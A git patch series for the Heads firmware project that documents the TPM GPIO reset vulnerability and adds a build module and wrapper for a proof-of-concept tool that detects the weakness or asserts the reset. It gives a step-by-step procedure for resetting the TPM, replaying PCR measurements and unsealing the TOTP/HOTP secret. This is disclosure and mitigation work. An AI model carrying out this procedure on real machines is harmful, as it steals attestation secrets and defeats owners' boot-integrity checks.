reset -equivalent to `TPM2_Startup(CLEAR)`, which clears PCRs but preserves NV -indices per the TCG specification. - -**What the attacker CAN do (volatile memory -- cleared on platform-level reset):** -- **PCRs 0-23** are reset to their initial (all-zero) state (`TPM_PT_PS_REVISION`). - Per TCG Part 1 Section 12.2.3.2 (TPM Reset startup type), all PCRs are - cleared. The attacker can forge arbitrary measurement values by extending - the freshly cleared PCRs. -- **HMAC sessions and transient objects** (created via `TPM2_StartAuthSession`, - `TPM2_Load`) are destroyed (per Section 4.87 transient resource definition). - The attacker must re-establish sessions (handled automatically by the script). - -**What the attacker CANNOT do (non-volatile memory -- preserved across reset):** -- **Sealed data objects** (created via `TPM2_Create` with PCR policy) PERSIST - across platform reset (NV memory per Section 37 is non-volatile). The attacker - does NOT need to re-seal -- the existing NVRAM index (0x4d47 for TOTP/HOTP) - remains intact and is unsealed once PCRs are restored to their sealing values. -- **Persistent key handles** (e.g. primary key at 0x81000000) survive the reset. - The storage hierarchy seed is preserved (Section 12.2.3.2), so the primary - key remains accessible. -- **NVRAM indices with their auth values** persist (Section 37). Index 0x4d47 - (TOTP/HOTP secret) and index 3 (DUK) are both preserved. - -**Unseal rules (TPM 2.0 Part 1, Section 27.2.6 — Unseal command):** -- `TPM2_Unseal` requires BOTH: - 1. The PCR values in the `TPM2_PolicyPCR` assertion must match the values - specified at seal time. - 2. Any auth value (password/passphrase) specified at seal time must be - provided. -- If the object was sealed with a non-empty auth value, the attacker must - know it. If sealed with an empty auth value, PCR control alone is sufficient. - -Applied to Heads: -- **TOTP/HOTP secret** (`seal-totp.sh` line 66): Sealed at index 0x4d47 with - empty auth value (`tpmr.sh seal` 7th argument is `""`). After GPIO reset + - PCR replay, `tpm2_unseal` succeeds because the auth value is empty and - PCRs match. Sealed object persists per TCG non-volatile guarantees. - | Extractable. -- **DUK** (`kexec-seal-key.sh` line 309): Sealed at index 3 with a user-chosen - passphrase (`$key_password`). Even after GPIO reset + PCR replay, the attacker - must provide this passphrase. Per TCG specification, `TPM2_Unseal` requires - both matching PCRs AND the correct auth value. - | Not extractable without the passphrase. +- **OS-level code execution**: Via dual-boot, USB boot, or malware. On Heads, booting into the (unauthenticated) recovery shell is the primary attack vector. +- **Platform PLTRST pad definition**: GPIO pad number, community, and register offset for the target PCH. +- **Vulnerable platform**: Skylake through Tiger Lake where GPIO lock is non-functional. Pre-Skylake uses a dedicated PLTRST# pin (not vulnerable). Meteor Lake+ is not vulnerable because GPIO PLTRST# assertion does not apply to eSPI-connected TPMs. See [Per-Platform Feasibility](#per-platform-feasibility). + +### Attack Steps (requires recovery shell access on Heads) + +1. **Boot into the Heads recovery shell** (unauthenticated by default). +2. **Obtain measurement logs** for PCR state forging: + - **`cbmem -L`**: coreboot event log with PCR 2 extends (bootblock -> romstage -> ramstage -> payload). Each entry includes a cryptographic digest (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2) usable with the TPM extend command. + - **`/tmp/measuring_trace.log`**: Heads initrd log recording PCR 7 extends (each CBFS file: two sequential extends — first filename string, then file content) and PCR 4 boot path extends ("generic", "usb", or "recovery"). Lives in tmpfs; volatile across reboots but available in any running Heads session. If unavailable offline: PCR 4 is deterministic from boot path. PCR 7 can be recomputed from ROM by extracting CBFS files with `cbfstool` and replaying the two-step extend sequence (hash filename string, then hash file content; SHA-256 on TPM 2.0, SHA-1 on TPM 1.2). On UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). +3. **Locate the PLTRST pad** via `/dev/mem` and reprogram it from native function (LPC/eSPI/SPI) to GPIO output mode. +4. **Drive the pad low for ~10 ms**, asserting a hardware TPM Reset (PCRs cleared, NVRAM preserved), then drive high to deassert. +5. **Replay PCR extends** in order: + - **PCR 2**: SRTM measurements from `cbmem -L` digests. + - **PCR 7**: Two-step CBFS file extends (filename string then content) from the log or computed offline from ROM. + - **PCR 4**: One of "generic", "usb", or "recovery" — deterministic from boot path. + - **PCRs 0, 1, 3**: Always zero on standard Heads boards — no extends needed. + - **Note on PCR 0**: Even if extended (e.g., BootGuard measured boot), it does NOT protect against GPIO reset. Per TCG PC Client TIS, PCRs 0-15 have `pcrExtendLocal = 1,1,1,1,1` — extendable from all localities including locality 0. After reset, an attacker can extend PCR 0 from locality 0 to any forged value. Intel's claim in doc 834810 that PCR 0 is a software mitigation is inaccurate. +6. **Call `tpm2_unseal`** on NVRAM index `0x4d47` (TOTP/HOTP key). Succeeds because PCRs match the expected state and no passphrase protects this index. +7. **Extract the 20-byte TOTP/HOTP shared secret**. Optionally restore original pad configuration to hide traces. + +**0x80000000 write mechanism:** The write is a mode transition — switching PLTRST# from native function (NF1, driven by PCH's LPC/eSPI controller) to GPIO output mode with TX=0 (driven low). The falling edge on the physical pin is what the TPM interprets as a reset pulse. PADRSTCFG bits [31:30]=10 (PLTRST reset domain) configure the pad register's own reset source, not the output signal. Writing 0x80000000 does NOT "assert" PLTRST# as a single action — it is the NF1->GPIO transition that creates the voltage edge. + +### TPM Reset Scope (per TCG Specification) + +A GPIO reset triggers a platform-level TPM reset equivalent to `TPM2_Startup(CLEAR)`, per TCG TPM 2.0 Library specification Part 1: Sections 4 (volatile/non-volatile/transient resource definitions), 12.2.3.2 (TPM Reset startup type), and 37 (NV Memory persistence categories). + +**Cleared (volatile memory):** PCRs 0-23 reset to their initial all-zero state (`TPM_PT_PS_REVISION`); attacker can forge arbitrary values by extending cleared PCRs. HMAC sessions and transient objects are destroyed. + +**Preserved (non-volatile memory):** Sealed data objects (created via `TPM2_Create` with PCR policy) persist across reset — NVRAM index 0x4d47 (TOTP/HOTP) remains intact and is unsealed once PCRs are restored. Persistent key handles (e.g., primary key at 0x81000000) survive — storage hierarchy seed is preserved. NVRAM indices with their auth values persist; index 0x4d47 (TOTP/HOTP) and index 3 (DUK) are both preserved. + +**Unseal requirements** (TPM 2.0 Part 1, Section 27.2.6): `TPM2_Unseal` requires BOTH matching PCR values AND any auth value specified at seal time. Applied to Heads: +- **TOTP/HOTP** (`seal-totp.sh` line 66): Sealed at index 0x4d47 with empty auth value (`tpmr.sh seal` 7th argument is `""`). After GPIO reset + PCR replay, unseal succeeds because auth value is empty and PCRs match. **Extractable.** +- **DUK** (`kexec-seal-key.sh` line 309): Sealed at index 3 with a user-chosen passphrase (`$key_password`). Even after reset + PCR replay, the attacker must provide this passphrase — `TPM2_Unseal` requires both matching PCRs AND the correct auth value. **Not extractable without the passphrase.** ### Mitigations -These mitigations reduce the attack surface for the TPM GPIO reset attack -on Heads systems: - -**1. Authenticated recovery shell access** -The primary attack vector is unauthenticated access to the Heads recovery -shell, where `cbmem -L` and `/tmp/measuring_trace.log` are readable. -Configuring GPG authentication for the recovery shell (via -`CONFIG_BOOT_RECOVERY_GPG=` in the board config) prevents an attacker -from obtaining the measurement logs needed to forge PCR state, even if -they can boot the system. - -**2. Firmware backup and integrity** -An attacker with physical access could extract the SPI ROM, compute CBFS -file hashes offline, and forge a modified ROM that replays expected -measurements (bypassing the need for `/tmp/measuring_trace.log`). -Regular external verification of firmware integrity (comparing ROM dumps -against known-good hashes) detects tampering. - -**3. TPM Disk Unlock Key with passphrase** -The TPM DUK requires a user passphrase and is NOT extractable via -GPIO reset + PCR replay. Ensuring a strong DUK passphrase is configured -protects disk encryption keys even if the TOTP/HOTP attestation secret -is compromised. +**1. Authenticated recovery shell** (`CONFIG_BOOT_RECOVERY_GPG=` in board config): Prevents unauthenticated access to `cbmem -L` and `/tmp/measuring_trace.log`, blocking the primary log acquisition vector on Heads. + +**2. Firmware integrity verification**: An attacker with physical access could extract the SPI ROM and compute CBFS file hashes offline, bypassing the need for `/tmp/measuring_trace.log`. Regular external verification of firmware integrity (comparing ROM dumps against known-good hashes) detects tampering. + +**3. TPM DUK with passphrase**: The DUK is NOT extractable via GPIO reset + PCR replay (auth value required). A strong DUK passphrase protects disk encryption keys even if TOTP/HOTP attestation is compromised. ### What the Attacker Obtains -- **TOTP/HOTP shared secret (20 bytes)**: Extracted. Per the TCG specification - (Section 37: NV memory is non-volatile; Section 12.2.3.2: PCRs clear on Reset), - sealed NV objects persist across platform-level reset while PCRs do not. - Since the secret was sealed with an empty auth value - (`seal-totp.sh` passes `""` as the 7th `tpmr.sh seal` argument), PCR replay - alone is sufficient for unseal. The attacker can produce valid TOTP codes - indefinitely, defeating remote attestation. They can also produce valid HOTP - codes for USB security dongle authentication. -- **TPM Disk Unlock Key (DUK) with passphrase**: NOT extractable per the TCG - specification -- `TPM2_Unseal` requires both correct PCR values AND the auth - value (passphrase) specified at seal time. Since the DUK is sealed with a - user passphrase (`kexec-seal-key.sh` passes `$key_password`), PCR replay - without the passphrase is insufficient. +- **TOTP/HOTP shared secret (20 bytes)**: Extracted. Sealed with empty auth value; PCR replay alone suffices for unseal. Attacker can produce valid TOTP codes indefinitely (defeating remote attestation) and valid HOTP codes for USB security dongle authentication. +- **DUK with passphrase**: NOT extractable — `TPM2_Unseal` requires the passphrase in addition to PCRs. ### What the Attacker Does NOT Obtain -- The DUK passphrase (not stored in the TPM at all; the TPM only stores a - hash/verifier for the auth value per TCG specification). -- The GPG private key (sealed separately with a passphrase -- the attacker - would need to know this passphrase even if they could reset PCRs). -- The LUKS header content (though PCR 6 can be forged since the LUKS header - hash can be recomputed from disk contents). +- The DUK passphrase (not stored in the TPM; only an auth verifier per TCG specification). +- The GPG private key (sealed separately with a passphrase). +- The LUKS header content (though PCR 6 can be forged since the LUKS header hash can be recomputed from disk). ### Per-Platform Feasibility @@ -240,11 +113,10 @@ is compromised. | Skylake through Tiger Lake (T480, M900 Tiny, Purism Librem boards) | **Yes** | GPIO lock non-functional in coreboot -- no lock Kconfig selected, no `pad_cfg_lock_offset` (except Skylake 25.09+ which has the field but no working lock). mechanism confirmed working by kukri on Kaby Lake PCH family (used by T480); M900 (SPT) shares same PCH port 0xaf, offset 0x528, not hardware-tested. **Note**: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP (Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public Intel verification. | | CNP-LP (T480s) | **Unconfirmed** | No public test data; kukri PoC does not support this PCH family. | | Alder Lake / Raptor Lake with upstream coreboot | **Unlikely** | Lock infrastructure compiled (SBI method, offsets defined) but no board selects SMM lock path. ADL-P hardware-tested on NV4x: mode bits [13:10] are hardware-locked (cannot be changed at runtime), TX bit toggle inconclusive (anomalous readback). Cannot confirm attack feasible on any ADL/RPL die without physical scope. | -| Alder Lake / Raptor Lake-P with Dasharo fork (NV4x/NS50 -- mobile) | **Inconclusive** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected, PADCFGLOCK=0 and PADCFGLOCKTX=0 (HW-unlocked), but mode bits [13:10] hardware-locked (NF1 write fails, readback stays GPIO). TX bit toggle also inconclusive: readback 0x03000080 has anomalous bits (7,24,25) not in any DW0 field. `/sys/class/tpm/tpm0/pcrs` not found after assertion attempt — kernel driver detected no bus reset. PCR clearing is from `tpm2 startup -c` alone. Cannot confirm/deny PLTRST# assertion without physical scope on LPC/eSPI reset line. NV4x confirmed to have discrete Infineon TPM 2.0 chip (dTPM via LPC/eSPI). kukri's PoC does NOT support ADL-P mobile (desktop only). | +| Alder Lake / Raptor Lake-P with Dasharo fork (NV4x/NS50 -- mobile) | **Inconclusive** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected, PADCFGLOCK=0 and PADCFGLOCKTX=0 (HW-unlocked), but mode bits [13:10] hardware-locked (NF1 write fails, readback stays GPIO). TX bit toggle also inconclusive: readback 0x03000080 has anomalous bits (7,24,25) not in any DW0 field. `/sys/class/tpm/tpm0/pcrs` not found after assertion attempt -- kernel driver detected no bus reset. PCR clearing is from `tpm2 startup -c` alone. Cannot confirm/deny PLTRST# assertion without physical scope on LPC/eSPI reset line. NV4x confirmed to have discrete Infineon TPM 2.0 chip (dTPM via LPC/eSPI). kukri's PoC does NOT support ADL-P mobile (desktop only). | | Alder Lake-S / Raptor Lake-S with Dasharo fork (Z790-P -- desktop) | **Unknown** | Same Dasharo fork configuration as ADL-P (SBI selected, SMM disabled), but ADL-S/RPL-S desktop was NOT tested. The attack mechanism may behave differently on desktop PCH dies. Community testing needed. | -| Meteor Lake with Dasharo fork (v540tu/v560tu) | **No** | PCR lock infrastructure compiled (`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected, `pad_cfg_lock_offset` populated) but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads locked. FSP sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. Not vulnerable because GPIO PLTRST# assertion does not apply to LPC-connected TPMs on this platform. Per Intel doc 834810, MTL uses PCR port 0xD5 (different GPIO community layout than ADL's 0x6E). Locking requires 3 coordinated changes: (1) Fix PchUnlockGpioPads logic, (2) Move mainboard_configure_gpios() from romstage to ramstage after FSP-S, (3) Add PAD_CFG_NF_LOCK to board GPIO tables. None of these are applied in current builds. | -| Meteor Lake+ (upstream coreboot) | **No** | Same as Dasharo fork: PCR lock infrastructure compiled but unenforced; zero pads locked; FSP force-unlocks pads via `PchUnlockGpioPads=1`. Not vulnerable because PLTRST# assertion does not apply to LPC-connected TPMs. | - +| Meteor Lake with Dasharo fork (v540tu/v560tu) | **No** | PCR lock infrastructure compiled (`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected, `pad_cfg_lock_offset` populated) but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads locked. FSP sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. Not vulnerable because GPIO PLTRST# assertion does not apply to eSPI-connected TPMs on this platform. Per Intel doc 834810, MTL uses PCR port 0xD5 (different GPIO community layout than ADL's 0x6E). Locking requires 3 coordinated changes: (1) Fix PchUnlockGpioPads logic, (2) Move mainboard_configure_gpios() from romstage to ramstage after FSP-S, (3) Add PAD_CFG_NF_LOCK to board GPIO tables. None of these are applied in current builds. | +| Meteor Lake+ (upstream coreboot) | **No** | Same as Dasharo fork: PCR lock infrastructure compiled but unenforced; zero pads locked; FSP force-unlocks pads via `PchUnlockGpioPads=1`. Not vulnerable because PLTRST# assertion does not apply to eSPI-connected TPMs. | ## Upstream Tracking @@ -256,6 +128,6 @@ is compromised. - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for Skylake — tested, does not work on real hardware - **Heads issue**: -**Star Labs PchUnlockGpioPads fix (commit 06f3c07):** Sean Rhodes (Star Labs) identified and fixed the inverted PchUnlockGpioPads logic on Alder Lake -- the original code had `PchUnlockGpioPads = lockdown_by_fsp` (setting the UPD to 0 when coreboot should manage lockdown, which is the correct semantic, but the variable name implies the opposite of what it does). The standalone fix exists at commit 06f3c07 and is also part of the larger coreboot patch series 93422 (split FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. +**Star Labs PchUnlockGpioPads fix (commit 06f3c07):** Sean Rhodes (Star Labs) identified and fixed the inverted PchUnlockGpioPads logic on Alder Lake — the original code had `PchUnlockGpioPads = lockdown_by_fsp` (setting the UPD to 0 when coreboot should manage lockdown, which is the correct semantic, but the variable name implies the opposite of what it does). The standalone fix exists at commit 06f3c07 and is also part of the larger coreboot patch series 93422 (split FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. **coreboot patch 93324:** Board-level GPIO lock for Lenovo SKL/KBL ThinkPads (T480/T480s). Depends on 90885. Currently stalled on Intel maintainer review alongside 90885. No human reviewer has provided Code-Review on any of these patches since June 2026. diff --git a/doc/faq.md b/doc/faq.md index 0dca32e7a..3222db1d4 100644 --- a/doc/faq.md +++ b/doc/faq.md @@ -1,122 +1,4 @@ Frequently Asked Questions about Heads === -Why replace UEFI with coreboot? ---- -While Intel's edk2 tree that is the base of UEFI firmware is open source, -the firmware that vendors install on their machines is proprietary and -closed source. Updates for bugs fixes or security vulnerabilities -are at the vendor's convenience; user specific enhancements are likely not -possible; and the code is not auditable. - -UEFI is much more complex than the BIOS that it replaced. It consists of -millions of lines of code and is an entire operating system, -with network device drivers, graphics, USB, TCP, https, etc, etc, etc. -All of these features represents increased "surface area" for attacks, -as well as unnecessary complexity in the boot process. - -coreboot is open source and focuses on just the code necessary to bring -the system up from reset. This minimal code base has a much smaller -surface area and is possible to audit. Additionally, self-help is -possible if custom features are required or if a security vulnerability -needs to be patched. - - -What's wrong with UEFI Secure Boot? ---- -Can't audit it, signing keys are controlled by vendors, -doesn't handle hand off in all cases, depends on possible leaked keys. - - -Why use Linux instead of vboot2? ---- -vboot2 is part of the coreboot tree and is used by Google in the -Chromebook system to provide boot time security by verifying the -hashes on the coreboot payload. This works well for the specialized -Chrome OS on the Chromebook, but is not as flexible as a measured -boot solution. - -By moving the verification into the boot scripts we're able to have -a much flexible verification system and use more common tools like PGP -to sign firmware stages. - - -What about Trusted GRUB? ---- -The mainline grub doesn't have support for TPM and signed kernels, but -there is a Trusted grub fork that does. Due to philosophical differences -the code might not be merged into the mainline. And due to problems -with secure boot (which Trusted Grub builds on), many distributions have -signed insecure kernels that bypass all of the protections secure -boot promised. - -Additionally, grub is closer to UEFI in that it must have device -drivers for all the different boot devices, as well as filesystems. -This duplicates the code that exists in the Linux kernel and has its -own attack surface. - -Using coreboot and Linux as a boot loader allows us to restrict -the signature validation to keys that we control. We also have one code -base for the device drivers in the Linux-as-a-boot-loader as well -as Linux in the operating system. - - -What is the concern with the Intel Management Engine? ---- -"Rootkit in your chipset", "x86 considered harmful", etc - - -How about the other embedded devices in the system? ---- -#goodbios, funtenna, etc. - - -Should we be concerned about the binary blobs? ---- -Maybe. x230 has very few (MRC) since it has native vga init. - - -Why use ancient Thinkpads instead of modern Macbooks? ---- -coreboot support, TPM, nice keyboards, cheap to experiment on. - -How likely are physical presence attacks vs remote software attacks? ---- -Who knows. - - -Defense in depth vs single layers ---- -Yes. - -is it worth doing the hardware modifications? ---- -Depends on your threat model. - - -Should I validate the TPMTOTP on every boot? ---- -Probably. I want to make it also do it at S3. - - -suspend vs shutdown? ---- -S3 is subject to cold boot attacks, although they are harder to -pull off on a Heads system since the boot devices are constrained. - -However, without tpmtotp in s3 it is hard to know if the system is in -a safe state when the xscreensaver lock screen comes up. Is it a fake -to deceive you and steal your login password? Maybe! It wouldn't get -your disk passphrase, which is perhaps an improvement. - - -Disk key in TPM (LUKS TPM Disk Unlock Key) or user passphrase? ---- -Depends on your threat model. With the Disk Unlock Key in the TPM an -attacker would need to have the entire machine (or a backdoor in the TPM) -to get the key and their attempts to unlock it can be rate limited -by the TPM hardware. - -However, this ties the disk to that one machine (without having to -recover and type in the master key), which might be an unacceptable risk -for some users. +See [Heads FAQ](https://osresearch.net/FAQ/) for frequently asked questions. diff --git a/doc/keys.md b/doc/keys.md index d57a80fc9..1f7de8c6f 100644 --- a/doc/keys.md +++ b/doc/keys.md @@ -1,5 +1,7 @@ # Keys and Secrets in Heads +See also: [About/Keys](https://osresearch.net/Keys/) for the narrative system-level key inventory. + Heads uses several distinct secrets and keys, each protecting a different layer of the system. Understanding what each one does helps in choosing appropriate passphrases and in recovery scenarios. diff --git a/doc/security-model.md b/doc/security-model.md index 8d5e630f0..5979db53c 100644 --- a/doc/security-model.md +++ b/doc/security-model.md @@ -5,7 +5,8 @@ established, how integrity is verified at each boot, and how secrets are protected. See also: [architecture.md](architecture.md), [tpm.md](tpm.md), -[boot-process.md](boot-process.md), [ux-patterns.md](ux-patterns.md). +[boot-process.md](boot-process.md), [ux-patterns.md](ux-patterns.md), +[Heads threat model](https://osresearch.net/Heads-threat-model/) for the user-facing per-board protection status. --- From 8f48e8ea2605fc50dde34a98dce8c1334da5cc62 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 26 Jul 2026 17:03:47 -0400 Subject: [PATCH 4/5] tpm-gpio-reset: update commit hash and fix argument forwarding modules/tpm-gpio-reset: update commit hash to 89ea206835e7 which includes fix for PAD_CFG_BASE and pad_stride on SPT/KBP/CML-DT initrd/bin/tpm-gpio-reset: fix exec detect to forward so --assert/--execute flags reach the C binary; add full help text documenting all supported flags and platform families Signed-off-by: Thierry Laurion --- initrd/bin/tpm-gpio-reset | 38 ++++++++++++++++++++++++++++++++++++++ modules/tpm-gpio-reset | 20 ++++++++++++++++++++ 2 files changed, 58 insertions(+) create mode 100755 initrd/bin/tpm-gpio-reset create mode 100644 modules/tpm-gpio-reset diff --git a/initrd/bin/tpm-gpio-reset b/initrd/bin/tpm-gpio-reset new file mode 100755 index 000000000..25b8fbe28 --- /dev/null +++ b/initrd/bin/tpm-gpio-reset @@ -0,0 +1,38 @@ +#!/bin/sh +# TPM GPIO reset detection and assertion tool +# Thin wrapper around kukrimate/tpm-gpio-fail C PoC (tlaurion fork) +# Extended with all platform families, bus pin checking, and Intel doc 834810 cross-reference +# See modules/tpm-gpio-reset for build configuration + +case "${1:-}" in + --audit|-a) + exec detect # C binary does all hardware detection + ;; + --assert|--execute|-x) + exec detect "$@" # forward --assert/--execute to C binary + ;; + --help|-h|*) + echo "Usage: $0 [option]" + echo "Options:" + echo " -a, --audit Detect platform and check GPIO lock status" + echo " -x, --assert, --execute Detect platform, assert PLTRST#, and check TPM reset" + echo " -h, --help Show this help message" + echo "" + echo "Platform families supported:" + echo " SPT/KBP (Skylake/KabyLake) - tier 1 (confirmed)" + echo " CML-DT (Comet Lake Desktop) - tier 1 (confirmed)" + echo " CFL-S (Coffee Lake S/H) - tier 2 (unconfirmed)" + echo " CNP-LP (Cannon Point LP) - tier 2 (unconfirmed)" + echo " CML-U (Comet Lake U) - tier 2 (unconfirmed)" + echo " TGL (Tiger Lake) - tier 2 (unconfirmed)" + echo " ADL-P (Alder Lake P) - tier 3 (uncertain)" + echo " ADL-S (Alder Lake S) - tier 3 (uncertain)" + echo " RPL-P (Raptor Lake P) - tier 3 (uncertain)" + echo " RPL-S (Raptor Lake S) - tier 3 (uncertain)" + echo " ARL-S (Arrow Lake S) - tier 3 (uncertain)" + echo " MTL (Meteor Lake) - not vulnerable" + echo " Pre-SKL (Sandy/Ivy/Haswell/Broadwell) - not vulnerable" + echo "" + echo "See doc/TPM_GPIO_Reset_Vulnerability.md for per-platform feasibility analysis." + ;; +esac diff --git a/modules/tpm-gpio-reset b/modules/tpm-gpio-reset new file mode 100644 index 000000000..498c19927 --- /dev/null +++ b/modules/tpm-gpio-reset @@ -0,0 +1,20 @@ +# TPM GPIO reset detection tool +# PoC for TPM GPIO Reset Vulnerability (CVE-2025-32399 and related) +# Wrapper script: initrd/bin/tpm-gpio-reset +modules-$(CONFIG_TPM2_TOOLS) += tpm-gpio-reset + +tpm-gpio-reset_repo := https://github.com/tlaurion/tpm-gpio-fail.git +tpm-gpio-reset_commit_hash := 89ea206835e761e494ec37b2755b15a6a1a7ac96 +tpm-gpio-reset_version := $(tpm-gpio-reset_commit_hash) +tpm-gpio-reset_base_dir := tpm-gpio-fail-$(tpm-gpio-reset_version) +tpm-gpio-reset_dir := tpm-gpio-fail-$(tpm-gpio-reset_version) + +# Build just the detect binary, no libpci dependency +# MMCFG-based PCI config space access via /dev/mem, MUSL-compatible +tpm-gpio-reset_target := \ + $(MAKE) -C detect \ + CC="$(heads_cc)" \ + AR="$(AR)" \ + CFLAGS="-Os -static" + +tpm-gpio-reset_output := detect/detect From 857ced4412ec4471ee00187abadaa7f11689c25f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 26 Jul 2026 17:28:22 -0400 Subject: [PATCH 5/5] modules/tpm-gpio-reset: add kukri C PoC for TPM GPIO reset detection Module builds kukrimate/tpm-gpio-fail (tlaurion fork, commit 660d745) with extended platform support for 13 Intel PCH families plus pre-Skylake and POWER9. MMCFG-based PCI access via /dev/mem (zero-library, MUSL dynamic linking via heads_cc CC). initrd/bin/tpm-gpio-reset: thin wrapper calling 'detect' binary. Makefile: bin_modules- entry for initrd inclusion. Non-breaking: CONFIG_TPM2_TOOLS-gated. No impact on existing board builds including t420-hotp-maximized and x220-hotp-maximized CircleCI targets. Signed-off-by: Thierry Laurion --- Makefile | 1 + modules/tpm-gpio-reset | 10 ++++++---- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/Makefile b/Makefile index d103e7ac0..ff2cf39e0 100644 --- a/Makefile +++ b/Makefile @@ -750,6 +750,7 @@ bin_modules-$(CONFIG_NKSTORECLI) += nkstorecli bin_modules-$(CONFIG_UTIL_LINUX) += util-linux bin_modules-$(CONFIG_OPENSSL) += openssl bin_modules-$(CONFIG_TPM2_TOOLS) += tpm2-tools +bin_modules-$(CONFIG_TPM2_TOOLS) += tpm-gpio-reset bin_modules-$(CONFIG_BASH) += bash bin_modules-$(CONFIG_POWERPC_UTILS) += powerpc-utils bin_modules-$(CONFIG_IO386) += io386 diff --git a/modules/tpm-gpio-reset b/modules/tpm-gpio-reset index 498c19927..d4623cfc7 100644 --- a/modules/tpm-gpio-reset +++ b/modules/tpm-gpio-reset @@ -4,17 +4,19 @@ modules-$(CONFIG_TPM2_TOOLS) += tpm-gpio-reset tpm-gpio-reset_repo := https://github.com/tlaurion/tpm-gpio-fail.git -tpm-gpio-reset_commit_hash := 89ea206835e761e494ec37b2755b15a6a1a7ac96 -tpm-gpio-reset_version := $(tpm-gpio-reset_commit_hash) +# Full SHA required for git fetch; short hash used for directory naming +tpm-gpio-reset_commit_hash := 660d745ea4a5446277f2a6b52b9cf07d0b54e0d7 +tpm-gpio-reset_version := 660d745 tpm-gpio-reset_base_dir := tpm-gpio-fail-$(tpm-gpio-reset_version) tpm-gpio-reset_dir := tpm-gpio-fail-$(tpm-gpio-reset_version) # Build just the detect binary, no libpci dependency # MMCFG-based PCI config space access via /dev/mem, MUSL-compatible +# -static must be in LDFLAGS for the link step, CFLAGS only affects compile tpm-gpio-reset_target := \ - $(MAKE) -C detect \ + -C detect \ CC="$(heads_cc)" \ AR="$(AR)" \ - CFLAGS="-Os -static" + CFLAGS="-Os" tpm-gpio-reset_output := detect/detect